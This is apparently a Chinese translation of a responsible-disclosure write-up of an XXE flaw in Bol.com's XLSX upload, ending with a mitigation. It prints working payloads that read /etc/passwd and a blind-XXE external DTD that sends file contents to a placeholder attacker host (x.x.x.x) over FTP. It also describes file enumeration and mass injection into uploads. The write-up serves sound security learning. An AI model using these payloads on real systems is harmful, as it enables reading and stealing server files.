溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

發(fā)布時間:2021-12-22 17:24:11 來源:億速云 閱讀:137 作者:柒染 欄目:網絡管理

如何發(fā)現Bol.com網站的XXE漏洞并成功利用,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

選擇目標

像往常一樣,我們需要一個好的目標。Bol.com是荷蘭最大的電子商務網站之一。他們對我提交的開放式重定向錯誤報告的處理非常積極;快速的回復,修復并始終向我發(fā)送更新。沒有任何額外的麻煩,沒有NDA保密協(xié)議,輕松愉快的語氣??梢哉f這是其他公司處理負責任披露的完美范例。也是一家你    值得加入的公司。

在開始正式的內容前,讓我們先來了解下什么是XXE,LFI和RCE。

本地文件包含(LFI)是在服務器響應中顯示內部服務器文件的過程。遠程執(zhí)行代碼(RCE)是在服務器上執(zhí)行我們自己代碼的過程。

通常LFI錯誤會導致RCE;有很多技巧可以用來將LFI升級為RCE。

RCE漏洞會對服務器安全帶來巨大的威脅,因為它可能會最終導致完整的服務器接管。盡管大多數服務器在訪問受限的帳戶下執(zhí)行來自Web服務器的代碼,但操作系統(tǒng)本身仍時不時會存在一些缺陷。允許繞過此特定訪問限制的缺陷。你可能在過去使用過這種類型的bug;通過在iPhone上越獄iOS或root你的安卓手機。兩者都是利用了bug來接管操作系統(tǒng)。我們將此類攻擊稱為提權。

XML外部實體(XXE)攻擊基于擴展XML文件,加載本地文件和外部URL。它可能會導致LFI和RCE,因此它同樣具有很大的威脅性。雖然XXE攻擊發(fā)現于十多年前,但至今你仍然可以在許多網站上發(fā)現這個漏洞。

可擴展標記語言(XML)

XML是一種標記語言,允許創(chuàng)建計算機和人都易于閱讀的文檔。雖然有人說這種語言已經過時,但直到現在仍有許多地方在使用它。

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

如果我們仔細查看該示例,會注意到contents在標記之間,例如<body>contents</body>。因此,我們應該轉義標簽內的特定字符。否則,將有可能被人惡意注入標簽并操縱整個XML文件。默認情況下,XML會將<>&'"字符轉義為類似&amplt;&ampgt;&ampamp;&ampapos;&ampquot;的實體。因此,我們仍可以在不破壞XML文件的情況下使用字符。

XML有一個很好的功能,就是允許我們通過在XML文檔中包含Document類型定義(DTD)來定義我們自己的實體。如下所示。

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

DTD 示例:    

Example DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY body "Don't forget me this weekend!" >
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&ampbody;</r></body>
</note>

利用 XML 解析器

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

但是如果解析器允許我們定義文件而不是字符串呢?結果將是實體被文件中的內容替換。通過更改<!ENTITY body "Don't forget me this weekend!" >為<!ENTITY body SYSTEM "file:///etc/passwd" >一些解析器將會向我們直接顯示/etc/passwd文件的內容。

除了LFI,一些XML解析器還允許我們加載外部URL;只需用http://替換file://字符串即可。webserver將請求此URL。這可能會導致SSRF攻擊;你也可以請求內部webserver,掃描開放端口并映射內部網絡。你是否能夠訪問到包含元數據的本地webservers?如果是那么恭喜你,你最終可能得到    25000美元的漏洞賞金。

其他可能性是通過PHP模塊直接獲取RCE和拒絕服務攻擊。

上述LFI攻擊只有在我們的輸入返回到某個地方時才可行。否則我們無法讀取被替換的實體。如果遇到這種情況,可以使用以下技巧來泄漏數據。

盲XXE?通過HTTP/FTP請求外部DTD泄漏數據

所以服務器會解析你的XML,但沒有向你顯示響應中的內容?

由于你可以加載外部DTD,因此你可以將自定義實體附加到外部URL。只要URL有效,它就會加載附加了(文件)內容的URL。請注意像#這樣的字符會破壞url。

XXEserve

XXEserve是一個由staaldraad創(chuàng)建的用于捕獲XXE請求的一個非常棒的工具。它是一個簡單的FTP/HTTP服務器,會顯示所有我們對服務器的請求。它還偽造了一個FTP服務器;由于字符串中字符的原因,HTTP有時會失敗,FTP則會保持正常工作。

快速開始

1.在公共服務器上安裝XXEserv

2.創(chuàng)建包含要泄漏的文件或(內部)URL的外部DTD文件(即sp2.dtd)。將x.x.x.x替換為服務器的IP地址或主機名:

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">

3.將此外部DTD文件放在XXEserv目錄中。XXEserv充當公共ftp和Web服務器;所以我們現在能夠鏈接這個文件。

4.將XML payload發(fā)送給受害者,包括我們的外部DTD:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&ampbody;</r></body>
</note>

5.觀察XXEserv的輸出

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

如果想查看不同變種的XXE payloads,請點擊此處[1][2]。

我們需要找到一種方法將我們的XML代碼上傳或注入到Bol.com。我們可以從他們的“賣家門戶”入手。大多數情況下,賣家能夠上傳與其產品相關的圖片或其他文件。

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

網站的這一部分允許用戶上傳準備好(再次)銷售的產品。

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

一句簡短的荷蘭語:'Aanbod beheren via excel'意思是“在excel中管理庫存”。

此界面共包含有三個步驟:

1.下載包含當前庫存的Excel文件

2.上傳更改的Excel文件

3.查看上傳結果

庫存 Excel 文件

Excel文件的擴展名為XLSX。這是微軟開發(fā)的一種開放文件格式;它是一個包含多個XML文件的zip文件。

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

讓我們解壓這個文件。

如何發(fā)現Bol.com網站的XXE漏洞并成功利用如何發(fā)現Bol.com網站的XXE漏洞并成功利用

如果我們打開sheet1.xml,我們將看到以下代碼。

假設我們想嘗試將/etc/passwd的文件內容注入到Offer描述中(這是G4單元格,請參閱原始Excel工作表)。

正如我們在圖中所看到的那樣,字符串'Sample description'被id 108引用。讓我們將自定義實體添加到該工作表中,并將此單元格值替換為我們的自定義實體。

我們保存文件,再次壓縮文件夾并將文件重命名為xlsx。

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

讓我們看看如果我們在步驟2中上傳文件,讓它加載,然后從步驟1再次下載文件會發(fā)生什么。如果XXE攻擊有效,它將更新我們的示例產品(Excel中的第4行)并將/etc/passwd的文件內容注入到產品的標價說明當中。

POC

如何發(fā)現Bol.com網站的XXE漏洞并成功利用

可以看到我們成功獲取到了/etc/passwd中的內容?,F在是時候撰寫報告并通知他們了!

下一步是檢查服務器是否是支持云元數據,檢查包含API密鑰的配置文件,并查看是否可以從LFI升級到RCE。

但由于該結果已對目標有足夠的影響,因此我決定立即通知Bol.com。我詢問他們是否需要我進一步的測試并將此升級為RCE。但在他們回復之前,錯誤已經被修復:-)

文件枚舉

如果我們嘗試解析目錄而不是文件(即<!ENTITY body SYSTEM "file:///etc/">),Bol.com使用的XML解析器將返回文件名(作為一個大字符串)。這使我們能夠快速枚舉服務器上的所有文件,而不需要爆破文件名。

大批量 XXE 注入

可以在大量文件中注入XXE payload。因此,每次上傳圖片都是潛在的XXE漏洞。Buffalo創(chuàng)建了一個很不錯的工具,可幫助你將XXE payload輕松地嵌入到所有這些不同的文件中。

通過編輯XML文件,我們能夠在上傳中將本地服務器文件的內容作為字符串包含在內。之后我們能夠下載此文檔,因此我們能夠從其中一個生產服務器讀取私有文件。

解決方案

最佳解決方案是禁用XML解析器中的任何DTD支持。更多內容請參閱OWASP對不同解析器及其配置的概述。

影響

- 本地文件包含

- 可能執(zhí)行本地拒絕服務攻擊(未確認)

- 可能的RCE(未確認)

- 可能的SSRF(未確認)

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

xxe
AI